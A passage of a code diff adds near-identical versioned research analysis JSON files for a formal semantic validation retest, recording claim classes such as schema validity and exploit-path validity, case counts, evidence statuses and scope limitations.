fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1299-execution-v27", + "generated_at": "2026-09-17T04:04:20.260824+00:00", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v28.json b/docs/research/formal-semantic-validation/analysis-v28.json new file mode 100644 index 000000000..67bf18f8e --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v28.json @@ -0,0 +1,145 @@ +{ + "analysis_id": "issue-1223-analysis-v28", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v28.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1223-execution-v28", + "generated_at": "2026-09-17T05:22:39.527594+00:00", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v29.json b/docs/research/formal-semantic-validation/analysis-v29.json new file mode 100644 index 000000000..23b50e849 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v29.json @@ -0,0 +1,145 @@ +{ + "analysis_id": "issue-1297-analysis-v29", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v29.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1297-execution-v29", + "generated_at": "2026-09-17", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v30.json b/docs/research/formal-semantic-validation/analysis-v30.json new file mode 100644 index 000000000..255137f90 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v30.json @@ -0,0 +1,146 @@ +{ + "analysis_id": "issue-1179-analysis-v30", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v30.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1179-execution-v30", + "generated_at": "2026-09-17", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v31.json b/docs/research/formal-semantic-validation/analysis-v31.json new file mode 100644 index 000000000..12384287e --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v31.json @@ -0,0 +1,147 @@ +{ + "analysis_id": "issue-1183-analysis-v31", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v31.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1183-execution-v31", + "generated_at": "2026-09-18", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v32.json b/docs/research/formal-semantic-validation/analysis-v32.json new file mode 100644 index 000000000..5f55ffd37 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v32.json @@ -0,0 +1,148 @@ +{ + "analysis_id": "issue-1015-analysis-v32", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v32.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + 